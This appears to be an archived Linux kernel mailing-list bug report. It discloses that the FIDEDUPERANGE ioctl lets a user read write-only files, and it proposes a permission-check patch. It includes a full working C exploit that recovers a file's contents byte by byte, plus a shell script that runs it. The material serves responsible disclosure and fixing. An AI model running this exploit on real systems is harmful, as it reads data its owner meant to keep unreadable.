Information Leak: FIDEDUPERANGE ioctl allows reading writeonly files

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Dear Mr. Viro,

using the deduplication API we found out, that the FIDEDUPERANGE ioctl syscall can be used to read a writeonly file. A more formal description of the bug, an example code to exploit it and a proposed solution are attatched below.

In case of open questions please do not hesitate to contact us.

With best regards,
Ansgar Lößer


FIDEDUPERANGE ioctl allows reading writeonly files

The FIDEDUPERANGE ioctl can be used to read data from files that are supposed
to be writeonly on supported file systems (btrfs, xfs, ...).

confirmed on 5.18.3 (amd64, debian)
Reported-by: Ansgar Lößer (ansgar.loesser@xxxxxxxxxxxxxxxxxxx), Max Schlecht
(max.schlecht@xxxxxxxxxxxxxxxxxxxxxxx) and Björn Scheuermann
(scheuermann@xxxxxxxxxxxxxxxxxxx)

The FIDEDUPERANGE ioctl is intended to be able to share physical storage for
multiple data blocks across files that contain identical data, on the same file system. To do so, the ioctl takes a `src_fd` and `dest_fd`, as well as offset
and  length parameters, specifying data ranges should be tried to be
deduplicated. The ioctl then compares the contents of the data ranges and
returns the number of bytes that have been deduplicated.

The issue is, that while `src_fd` has to be open for reading, `dest_fd` only
has to be open for writing. Thus, multiple consecutive ioctl calls can be used
to read out the contents of `dest_fd`. This is done byte by byte, by trying
different input data, until getting a successful deduplication, indicating
equal content in the two data ranges. This technique works even if files are
marked as `append only` in btrfs.

The proposed fix is to change the required permissions, so that `dest_fd` has
to be open for reading as well.

exploit code (`read_writeonly.c`)
```C
#define _XOPEN_SOURCE 500 // pwrite
#include <linux/types.h>
#include <linux/fs.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <assert.h>

// use FIDEDUPERANGE ioctl to compare the target writeonly file (dest_fd)
// with the test file (src_fd)
int compare_fds(int src_fd, int dest_fd, __u64 offset, __u64 length)
{
    char buffer[sizeof(struct file_dedupe_range)
        + sizeof(struct file_dedupe_range_info)];
    struct file_dedupe_range* arg = (struct file_dedupe_range*)buffer;
    arg->src_offset = 0;
    arg->src_length = length;
    arg->dest_count = 1;
    arg->reserved1  = 0;
    arg->reserved2  = 0;

    struct file_dedupe_range_info* info = &arg->info[0];
    info->dest_fd = dest_fd;
    info->dest_offset = offset;
    info->reserved = 0;

    ioctl(src_fd, FIDEDUPERANGE, arg);
    printf("%d_%llu ", info->status, info->bytes_deduped);

    return info->status;
}

int main(int argc, char** argv)
{
    if (argc != 2)
    {
        fprintf(stderr, "./read_writeonly <filepath>\n");
        return 0;
    }

    // open the target writeonly file
    int target_fd = open(argv[1], O_WRONLY | O_APPEND);
    if (target_fd == -1)
    {
        fprintf(stderr, "failed to open \"%s\" with %d\n", argv[1], errno);
        return -1;
    }

    // create a test file to compare the target file with (via deduplication)
    int test_fd = open("test.tmp", O_RDWR | O_CREAT | O_TRUNC, 0777);
    if (test_fd == -1)
    {
        close(target_fd);
        fprintf(stderr, "fatal: failed to open test file with %d\n", errno);
        return -1;
    }

    __u64 file_offset = 0;
    do
    {
        int status;
        __u8 c;

        for (__u16 i = 0; i < 256; i++)
        {
            c = (__u8)i;
            __u64 offset = file_offset % 4096;
            __u64 length = offset + 1;
            __u64 block_offset = file_offset - offset;

            if (offset == 0)
            {
                ftruncate(test_fd, 0);
            }

            pwrite(test_fd, &c, 1, offset);
            status = compare_fds(test_fd, target_fd, block_offset, length);

            if (status == FILE_DEDUPE_RANGE_SAME || status < 0)
            {
                break;
            }
        }
        assert(status != FILE_DEDUPE_RANGE_DIFFERS);

        if (status < 0)
        {
            break;
        }

        putc(c, stdout);

        file_offset++;
    } while (1);

    close(target_fd);
    close(test_fd);
    unlink("test.tmp");

    return 0;
}
```

helper shell script (`test.sh`)
```sh
#!/bin/sh

gcc read_writeonly.c -o read_writeonly

# create writeonly file
touch writeonly.txt
chmod 220 writeonly.txt
echo "secret" > writeonly.txt
sudo chown 65535 writeonly.txt

# read from writeonly file
./read_writeonly writeonly.txt
```

proposed fix (read_writeonly.patch)
```
diff --git a/fs/remap_range.c b/fs/remap_range.c
index e112b54..ad5b44d 100644
--- a/fs/remap_range.c
+++ b/fs/remap_range.c
@@ -414,11 +414,11 @@ static bool allow_file_dedupe(struct file *file)

     if (capable(CAP_SYS_ADMIN))
         return true;
-    if (file->f_mode & FMODE_WRITE)
+    if ((file->f_mode & (FMODE_READ | FMODE_WRITE)) == (FMODE_READ | FMODE_WRITE))
         return true;
     if (uid_eq(current_fsuid(), i_uid_into_mnt(mnt_userns, inode)))
         return true;
-    if (!inode_permission(mnt_userns, inode, MAY_WRITE))
+    if (!inode_permission(mnt_userns, inode, MAY_READ | MAY_WRITE))
         return true;
     return false;
 }
```

--
M.Sc. Ansgar Lößer
Fachgebiet Kommunikationsnetze
Fachbereich für Elektrotechnik und Informationstechnik
Technische Universität Darmstadt

Rundeturmstraße 10
64283 Darmstadt

E-Mail: ansgar.loesser@xxxxxxxxxxxxxxxxxxx
http://www.kom.tu-darmstadt.de




[Index of Archives]     [Linux Ext4 Filesystem]     [Union Filesystem]     [Filesystem Testing]     [Ceph Users]     [Ecryptfs]     [NTFS 3]     [AutoFS]     [Kernel Newbies]     [Share Photos]     [Security]     [Netfilter]     [Bugtraq]     [Yosemite News]     [MIPS Linux]     [ARM Linux]     [Linux Security]     [Linux Cachefs]     [Reiser Filesystem]     [Linux RAID]     [NTFS 3]     [Samba]     [Device Mapper]     [CEPH Development]

  Powered by Linux